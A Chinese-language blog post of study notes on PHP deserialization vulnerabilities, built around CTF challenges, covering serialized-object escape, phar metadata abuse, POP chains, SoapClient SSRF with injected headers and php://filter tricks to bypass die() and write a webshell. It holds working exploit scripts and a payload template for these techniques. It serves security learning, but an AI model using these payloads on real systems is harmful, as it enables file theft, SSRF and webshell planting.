PHP反序列化漏洞学习小结

2022/5/10 11:04:37

本文主要是介绍PHP反序列化漏洞学习小结,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

PHP反序列化漏洞笔记

前言:根据BUU的一些题和一些学习过的文章记下来的各个知识点

1.反序列化的对象逃逸

  • 第一种为关键词数增加
    例如: where->hacker,这样词数由五个增加到6个
  • 第二种为关键词数减少
    例如:直接过滤掉一些关键词,例如easy_serialize_php

都是一样的思路,通过序列化后的字符串长度大小来构造有效序列化字符串,有点绕口,直接看这道题就好了

_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'<?php
$function = @$_GET['f'];
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);//这里可以通过POST传值,然后将$_SEESION值更改为黑名单中的字符串造成逃逸 如:_SESSION['flagflag']=";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));//反序列化的对象逃逸发生
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

第二道此类型的题:piapiapia2016

看到这个代码就会想起来怎么做的~

<?php
$profile['phone'] = '12312312312';
$profile['email'] = '123@123.com';
$profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'config.php';


function filter($string) { # 单引号,双斜杠 'select', 'insert', 'update', 'delete', 'where'
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}
$a = serialize($profile)."\n";
echo $a;
echo filter(serialize($profile))."\n";


2.protected,private的不可见字符的绕过

绕过方法

  • php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
  • 手动添加\x00:private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

例题

极客大挑战2019PHP

[[网鼎杯 2020 青龙组]AreUSerialz](https://buuoj.cn/challenges#[网鼎杯 2020 青龙组]AreUSerialz)

3.serialize(unserialize($x)) != $x

这是看这篇文章看到的

https://www.anquanke.com/post/id/251366#h2-0

4.phar反序列

(51条消息) Phar反序列化_xiaolong22333的博客-CSDN博客_phar反序列化

可以利用的函数:

img

5.pop链

pop链的构造就是利用各个类的函数将各个类链接起来

4和5的例题

[(51条消息) SWPUCTF 2018]SimplePHP_Mhu1的博客-CSDN博客

可以看下此exp的编写
<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$a = new C1e4r();
$b = new Show();
$c = new Test();

#pop链: C1e4r::__destruct->Show::__tostring->Test::->__get
$c->params=array("source"=>"/var/www/html/f1ag.php");#获取到f1ag.php内容为base64
$b->str['str']=$c;#通过__tostring里会访问str['str']的source这个属性,而Test类又没有source属性,去调用Test类的__get函数
$a->str=$b;#通过__destruct里会访问str这个属性来调用String的__tostring函数

$phar = new Phar("po2.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($a);
$phar->addFromString("po.txt", "po");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();




?>

这道题也很有意思结合了死亡绕过和pop构造写入webshell

[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[EIS 2019]EzPOP)

[EIS 2019]EzPOP - 夜幕下的灯火阑珊 - 博客园 (cnblogs.com)

6.魔术方法

7.php原生类(ctf常见)

在题目给的的代码中找不到可利用的类时,这个时候考虑使用php中的一些原生类有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny来禁止一些类的反序列化。

7.1soap

看看P牛新浪某站CRLF Injection导致的安全问题 | 离别歌 (leavesongs.com)

这里需要有个前提是php是安装了php_soap.dll的

再ctfshow的web259遇到了相关的题目ctf.show

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();


$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

题目的中心想法就是利用Soap这个类来进行ssrf

payload模板

<!--再php.ini中将extension=php_soap.dll前面的分号去掉,否则无法执行成功-->
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$y = new SoapClient(null,array('location' => $target,'user_agent'=>'test^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "flag"));
$x = serialize($y);
$x = str_replace('^^',"\r\n",$x);
echo urlencode($x);
?>

7.2Error/Exception

7.3Globlterator

8.死亡绕过

[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[羊城杯 2020]EasySer)

  • string.strip.tags配合filter协议

write写入 resource数据来源 read参数值可为 string.strip_tags: 将数据流中的所有html(php)标签清除,即可把<?php die("nononon");?>先删除

exp:
<?php
class GWHT{
    public $hero;
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file='php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
    public $text='YmFzZTY0Y29kZQ==';
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
        echo $a."\n";
        echo strip_tags($a)."\n";
        @file_put_contents($this-> file,$a);
    }
}

$a = new Yongen();
$b = new GWHT();
$b->hero =$a;
echo $b;
//echo serialize($b);

?>

这题比较怪的点是反序列的利用点没有给到,wp说的是用arjun扫出来的参数



这篇关于PHP反序列化漏洞学习小结的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程